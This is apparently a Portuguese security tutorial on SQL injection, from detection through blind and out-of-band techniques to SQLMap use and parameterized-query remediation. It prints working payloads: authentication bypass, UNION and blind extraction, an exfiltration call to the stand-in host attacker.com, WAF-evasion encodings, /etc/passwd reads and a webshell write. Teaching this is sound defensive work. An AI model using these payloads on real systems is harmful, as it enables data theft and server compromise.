SQL Injection continua a figurar consistentemente no OWASP Top 10. Em 2024, ainda encontro SQLi em engajamentos reais com regularidade alarmante. Este guia cobre tudo, desde a detecção básica até técnicas avançadas de extracção de dados.
O que é SQL Injection?
SQL Injection ocorre quando dados controlados pelo utilizador são interpolados directamente em queries SQL sem sanitização adequada. O resultado: um atacante pode manipular a lógica da query para extrair dados, bypassar autenticação ou executar código no servidor.
Exemplo clássico vulnerável:
# VULNERÁVEL — nunca faças isto
query = "SELECT * FROM users WHERE username='" + username + "'"
Se o atacante inserir ' OR '1'='1, a query torna-se:
SELECT * FROM users WHERE username='' OR '1'='1'
Retorna todos os utilizadores. Bypass de autenticação trivial.
Tipos de SQL Injection
1. In-Band SQLi
O resultado da query é devolvido directamente na resposta HTTP.
Error-based: usa mensagens de erro para extrair informação.
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version())))-- -
Union-based: junta resultados de queries adicionais.
' UNION SELECT NULL,NULL,table_name FROM information_schema.tables-- -
2. Blind SQLi
A aplicação não devolve resultados directamente, mas o comportamento varia consoante a query.
Boolean-based:
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'-- -
Time-based:
'; IF(1=1) WAITFOR DELAY '0:0:5'-- -
-- MySQL:
' AND SLEEP(5)-- -
3. Out-of-Band SQLi
Extracção via canais secundários (DNS, HTTP). Útil quando a resposta não é acessível directamente.
-- MSSQL com xp_dirtree
'; EXEC xp_dirtree('//attacker.com/'+@@version,1,1)-- -
Exploração Manual vs SQLMap
Detecção Manual
Comença sempre com payloads simples:
'
''
`
')
"))
' OR '1'='1
' OR 1=1-- -
1' AND 1=2-- -
Observa mudanças no comportamento: erros SQL, diferenças no conteúdo, tempo de resposta.
SQLMap — Automatização
Para CTF e pentest (com autorização):
# Detecção básica
sqlmap -u "https://alvo.com/produto?id=1" --dbs
# Com cookie de sessão
sqlmap -u "https://alvo.com/perfil" \
--cookie="session=abc123" \
--level=3 --risk=2 \
--dbs
# Extracção de tabelas
sqlmap -u "https://alvo.com/produto?id=1" \
-D database_name --tables
# Dump de uma tabela específica
sqlmap -u "https://alvo.com/produto?id=1" \
-D database_name -T users \
--dump --batch
Técnicas Avançadas
Bypass de WAF:
-- Comentários inline
SE/**/LECT * FR/**/OM users
-- Case variation
SeLeCt * FrOm users
-- URL encoding
%27%20OR%20%271%27%3D%271
-- Double encoding
%2527 (= %27 = ')
Second-order SQLi: a payload é armazenada e executada numa query posterior — frequentemente não coberta por scanners automáticos.
Impacto Real
O que um atacante pode fazer com SQLi:
- Extracção de dados — passwords, dados pessoais, informação confidencial
- Autenticação bypass — acesso a contas sem credenciais
- Leitura de ficheiros (MySQL com FILE privilege):
LOAD_FILE('/etc/passwd') - Escrita de ficheiros → webshell:
INTO OUTFILE '/var/www/html/shell.php' - Remote Code Execution (MSSQL com xp_cmdshell habilitado)
Remediação
A solução é simples e não negociável: prepared statements / parametrized queries.
# CORRECTO — usando parâmetros
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password)
)
// Node.js com mysql2
const [rows] = await connection.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password]
);
Adicionalmente:
- Princípio do menor privilégio na conta de base de dados
- WAF como camada adicional (não substitui código seguro)
- Input validation para contexto semântico
- Error handling que não exponha detalhes da BD
Conclusão
SQLi é simples de prevenir com práticas corretas de desenvolvimento. O problema é que código legado, frameworks mal configurados e falta de formação mantêm esta vulnerabilidade viva. Como profissional de segurança, a tua responsabilidade é tanto encontrá-la como educar as equipas de desenvolvimento sobre como eliminá-la definitivamente.